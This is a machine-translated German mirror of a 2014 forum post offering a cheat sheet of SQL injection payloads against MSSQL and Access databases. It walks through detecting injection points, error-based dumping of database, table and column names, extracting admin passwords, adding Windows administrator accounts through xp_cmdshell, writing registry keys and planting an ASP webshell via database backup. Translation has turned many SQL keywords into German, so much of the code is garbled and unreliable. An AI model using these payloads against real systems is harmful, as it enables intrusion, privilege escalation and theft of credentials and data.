Dieser Artikel ist ein Spiegelartikel der maschinellen Übersetzung, bitte klicken Sie hier, um zum Originalartikel zu springen.

Ansehen: 14167|Antwort: 0

[Sichere Kommunikation] SQL-Injection-Übliche Anweisungen

[Link kopieren]
Veröffentlicht am 22.11.2014 17:17:21 | | |
1. Feststellen, ob eine Injektion vorliegt
; und 1=1
; und 1=2

2. Vorläufige Einschätzung, ob es sich um mssql handelt
; und user>0

3. Das Datenbanksystem bewerten
; und (select count(*) from sysobjects)>0 mssql
; und (select count(*) from msysobjects)>0 access

4. Der Einspritzparameter ist ein Zeichen
'und [Abfragekriterien] und ''='

5. Während der Suche gibt es keine gefilterten Parameter
'und [Abfragekriterien] und '%25'='

6. Errate den Namen des Tisches
; und (wähle Count(*) aus [Tabellenname])>0

7. Errate das Feld
; und (wähle Count(Feldname) aus dem Tabellennamen)>0

8. Rate die Länge des Rekords im Feld
; und (wähle oben 1 len(Feldname) aus dem Tabellennamen)>0

9. (1) Den ASCII-Wert des Feldes erraten (Zugriff)
; und (wähle oben 1 ASC(Mid(Feldname, 1,1)) aus dem Tabellennamen)>0

(2) Den ASCII-Wert des Feldes erraten (mssql)
; und (wähle oben 1 unicode(substring(field name,1,1)) aus dem Tabellennamen)>0

10. Testberechtigungsstruktur (mssql)
; und 1=(wählen IS_SRVROLEMEMBER('sysadmin')); --
; und 1=(auswählen IS_SRVROLEMEMBER('serveradmin')); --
; und 1=(wähle IS_SRVROLEMEMBER('setupadmin')); --
; und 1=(wähle IS_SRVROLEMEMBER('securityadmin')); --
; und 1=(auswählen IS_SRVROLEMEMBER('diskadmin')); --
; und 1=(auswählen IS_SRVROLEMEMBER('bulkadmin')); --
; und 1=(wähle IS_MEMBER('db_owner')); --

11. Ein Konto für mssql und das System hinzufügen
; exec master.dbo.sp_addlogin Benutzername; --
; exec master.dbo.sp_password null, username, password; --
; Exec master.dbo.sp_addsrvrolemember Sysadmin-Benutzername; --
; exec master.dbo.xp_cmdshell 'Netuser Benutzername Passwort /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'Netzbenutzer-Benutzername Passwort /Hinzufügen'; --
; exec master.dbo.xp_cmdshell 'Net Localgroup Administrators Benutzername /add'; --

12. (1) Durchforsten des Katalogs
; Erstelle Tabellen-Direktoren (Pfade Varchar(100), ID Int)
; Fügen Sie dirs Exec master.dbo.xp_dirtree 'c:\' ein
; und (wähle die Top-1-Wege aus den Dirs>0 aus)0
; und (wähle die Top-1-Pfade aus Dirs aus, bei denen Pfade, die nicht in sind ('Pfade, die aus dem vorherigen Schritt erhalten wurden'))>)

(2) Durchforsten des Katalogs
; Tabellentemperatur erstellen (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Temporäre Führungskraft master.dbo.xp_availablemedia; -- Hol alle aktuellen Laufwerke
; Fügen Sie in temp(id) exec master.dbo.xp_subdirs 'c:\' ein; -- Eine Liste der Unterverzeichnisse erstellen
; in temp(id,num1) exec master.dbo.xp_dirtree 'c:\' einfügen; -- Erhalten Sie die Verzeichnisbaumstruktur für alle Unterverzeichnisse
; Fügen Sie in temp(id) exec master.dbo.xp_cmdshell 'tippen Sie C:\Web\index.asp' ein; -- Den Inhalt der Datei anzeigen

13. Gespeicherte Prozeduren in mssql
xp_regenumvalues Register-Root-Key, Kinderschlüssel
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' gibt alle Schlüsselwerte in mehreren Datensatzsätzen zurück
xp_regread Wurzelschlüssel, Kinderschlüssel, Schlüssel-Wert-Name
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' gibt den Wert des Set Key zurück
xp_regwrite Wurzelschlüssel, Kinderschlüssel, Wertname, Werttyp, Wert
Es gibt zwei Arten von Werttypen REG_SZ REG_DWORD für Zeichentypen und für ganze Zahlen
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' an die Registry
xp_regdeletevalue Wurzelschlüssel, Unterschlüssel, Wertname
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', um einen Wert zu entfernen
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey', um den Schlüssel zu entfernen, einschließlich aller Werte unter diesem Schlüssel

14. MSSQL-Backup erstellt eine Webshell
Nutzungsmodell
Tabellen-CMD erstellen (STR-Bild);
in cmd(str)-Werte einfügen ('<% Dim oScript %>');
Backup-Datenbankmodell auf Festplatte='c:\l.asp';

15. MSSQL integrierte Funktionen
; und (wählen Sie @@version)>0, um die Windows-Versionsnummer zu erhalten
; und user_name()='dbo', um zu bestimmen, ob der angeschlossene Nutzer des aktuellen Systems SA ist
; und (wähle user_name())>0 Explodierten die verbundenen Nutzer des aktuellen Systems
; und (wählen Sie db_name())>0, um die aktuell verbundene Datenbank zu erhalten



MSSQL-Verstoß gegen handannotierte Datenbanken

1. Zeigen Sie den aktuellen Tabellennamen und Spaltennamen auf
Geben Sie nach dem Einspeisepunkt "'having 1=1--" ein, um die Rückmeldung auf Englisch zu erhalten, in der Sie einen Tabellennamen und einen Spaltennamen sehen können. Gib "Gruppe nach dem Listennamen mit 1=1--" ein, um einen weiteren Spaltennamen zu erhalten; Senden Sie weiterhin "group nach der Liste des freigestellten Tabellennamens" und dem Namen der freigestellten Tabelle. Der zweite Spaltenname hat 1=1--", was einen weiteren Spaltennamen ergibt. Commit auf die gleiche Weise, bis die Seite keine Fehlermeldungen mehr zurückgibt, um alle Spaltennamen abzurufen. Trivia: Gewaltige Tabellen- und Spaltennamen werden in SQL-Anweisungen in Kombination mit GROUP BY verwendet, um bedingte Urteile zu treffen. Da die Anweisung unvollständig ist, liefert die Datenbank eine Fehlermeldung und zeigt einen Tabellennamen sowie einen Spaltennamen an. Die Basismethode kann nur die aktuelle Tabelle in der Datenbank offenlegen, und wenn eine Tabelle viele Spaltennamen enthält, ist es sehr schwierig, die Basismethode zu verwenden.

Erstens. Alle Datenbanknamen sind offengelegt
Verwenden Sie die Anweisung "and 0<>(select count(*) from master.dbo.sysdatabases, wobei name>1 und dbid=[N])" verwendet werden, um beliebige Tabellen- und Spaltennamen in der Datenbank anzuzeigen, wobei "[N]" die n-te Tabelle in der Datenbank darstellt.
Schritt 1: Nach dem Injizieren des Punktes reichen Sie folgende Anweisung ein: "and 0<>(select count(*) from master.dbo.sysdatabases, wo name>1 und dbid=12)", da der Wert von dbid von 1 bis 5 liegt, das vom System verwendet wird, also muss der Benutzer es von 6 erstellt haben, und wir haben den Namen eingereicht>1, das Namensfeld ist ein Zeichentypfeld, und der Zahlenvergleich ist falsch, sodass IE nach der Einreichung folgende Informationen zurückgibt: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konvertiert den nvarchar-Wert 'Northwind' in Data Type int Spalte. Auf diese Weise wird der Wert des Namensfeldes freigegeben, das heißt, wir erhalten den Datenbanknamen "Northwind". Die Änderung des Wertes von "dbid" kann alle Datenbanknamen abrufen.

und 0<>(Anzahl auswählen(*) aus master.dbo.sysdatabases, wobei name>1 und dbid=[N])-- N modifizieren, um alle Datenbanknamen von 6 zu explodieren


Zweitens. Stellen Sie alle Tabellennamen in der angegebenen Datenbank bereit
Nachdem Sie den Datenbanknamen erhalten haben, müssen Sie nun alle Tabellennamen in der Bibliothek abrufen und folgende Anweisung einreichen: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", hier ist der Tabellenname in der Master-Datenbank, und die SQL-Anweisung der Abfrage gibt den Wert des Namens zurück und vergleicht ihn dann mit der Zahl 0, sodass der Wert des Namens angezeigt wird. Nach der Einreichung wurde der Name des Tisches "'spt_monito" enthüllt.
Dann werden die anderen Tabellen offengelegt, und folgende Anweisung wird eingereicht: "and 0<>(select the top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))", und eine weitere Tabelle namens "cd512" wird angezeigt. Datei "und Name nicht in(' spt_monito',' CD512',..))" Du kannst alle Tischnamen herausfinden.

und 0<>(wähle den oberen 1-Namen aus [Datenbanknamen angeben].dbo.sysobjects wobei xtype='U')--
und 0<>(wähle den oberen 1-Namen aus [Datenbanknamen angeben].dbo.sysobjects wobei xtype='U' und Name nicht in('[Explodierte Tabellenname]'))--
und 0<>(wähle den oberen 1-Namen aus [Datenbanknamen angeben].dbo.sysobjects wobei xtype='U' und Name nicht in('[Explosiver Tabellenname]', '[Explodierte zweite Tabellenname]')))--

4. Alle Spaltennamen in der angegebenen Tabelle offenlegen
und 0<>(Count(*) aus bbs.dbo.sysobjects auswählen, wobei xtype='U' und name='admin' und uid>(str(id))
Konvertiere den ID-Wert in einen Zeichentyp und vergleiche ihn dann mit einem ganzzahligen Wert. Die ID-Nummer ist raus. Der Wert lautet: 949578421 name='table name'

und 0<>(wähle den oberen 1-Namen aus wutong.dbo.syscolumns aus, wobei id=949578421)-- Ein Feldname in der Admin-Tabelle wird offengelegt

erneut einreichen und 0<>(wähle den Top-1-Namen aus wutong.dbo.syscolumns aus, wobei id=949578421 und Name nicht in('adduser')))--
Datei "und Name nicht in(' spt_monito',' CD512',..))" Alle Feldnamen findest du in der Admin-Tabelle.


und 0<>(select count(*) aus [Datenbankname angeben].dbo.sysobjects wobei xtype='U' und name='[Tabellenname des zu explodierenden Feldes]' und uid>(str(id))) – Der ID-Wert des Tabellennamens des zu explodierenden Feldes

und 0<>(wähle den oberen 1-Namen aus [Datenbanknamen angeben].dbo.syscolumns, wo id=explodierte ID-Wert ist)-- Der Name eines Feldes in der Exploding-ID-Wert-Tabelle

und 0<>(wähle den oberen 1-Namen aus [Datenbanknamen angeben].dbo.syscolumns, wobei id=Explosive ID-Wert und Name nicht enthalten('[Explodierte Feldname]')))--



5. Lesen Sie die Daten in der angegebenen Tabelle aus

und 0<(wähle A_ID aus wutong.dbo.admin aus, wo A_UserID>1) – der Inhalt, der A_PWD

und 0<(wähle [ein existierendes Feld] aus [Datenbankname angeben].dbo.[Tabellenname zur Abfrage] wobei [Feldname zum Explodieren von Inhalten]>1)--

und 0<(wähle A_ID aus wutong.dbo.admin aus, wobei A_PWD>1 und A_UserID='admin')-- Das Passwort des Admins offenbart wird.


und 0<(Select Top 1 A_UserID FROM admin wo A_ID<>1)-- Der Administratorname id<>1 (fuhao)

und 0<(Wähle Top 1 A_UserID VON admin aus, wobei A_ID <>1 und A_UserID <> 'fuhao') – Der Name des zweiten Admins <> nicht gleich (tuiguang)

und 0<(Wähle Top 1 A_UserID FROM admin aus, wo A_ID <>1 und A_UserID <> 'fuhao' und A_UserID <> 'tuiguang')--

Nachdem Sie den Tabellen- und Spaltennamen der Datenbank kennen, können Sie die "query-Anweisung" verwenden, um alle Informationen in der Datenbank auszulesen. Wenn Sie zum Beispiel die n-ten Daten in einer Spalte in einer Tabelle lesen möchten, können Sie die Anweisung eingeben: "and (Wählen Sie den Spaltennamen Top 1 FROM Table Name aus, wobei id=[N])>1" ([N] repräsentiert die n-ten Daten in der Spalte), und Sie können die gewünschten Daten aus den von IE zurückgegebenen Informationen erkennen.






Vorhergehend:Wie man eine komprimierte rar-Datei in einer jpg-Datei versteckt
Nächster:Sammle "Harry Potter" 1~7 Nimm es heraus und teile es Wenn es dir nicht gefällt, sprüh es nicht mit
Verzichtserklärung:
Alle von Code Farmer Network veröffentlichten Software, Programmiermaterialien oder Artikel dienen ausschließlich Lern- und Forschungszwecken; Die oben genannten Inhalte dürfen nicht für kommerzielle oder illegale Zwecke verwendet werden, andernfalls tragen die Nutzer alle Konsequenzen. Die Informationen auf dieser Seite stammen aus dem Internet, und Urheberrechtsstreitigkeiten haben nichts mit dieser Seite zu tun. Sie müssen die oben genannten Inhalte innerhalb von 24 Stunden nach dem Download vollständig von Ihrem Computer löschen. Wenn Ihnen das Programm gefällt, unterstützen Sie bitte echte Software, kaufen Sie die Registrierung und erhalten Sie bessere echte Dienstleistungen. Falls es eine Verletzung gibt, kontaktieren Sie uns bitte per E-Mail.

Mail To:help@itsvse.com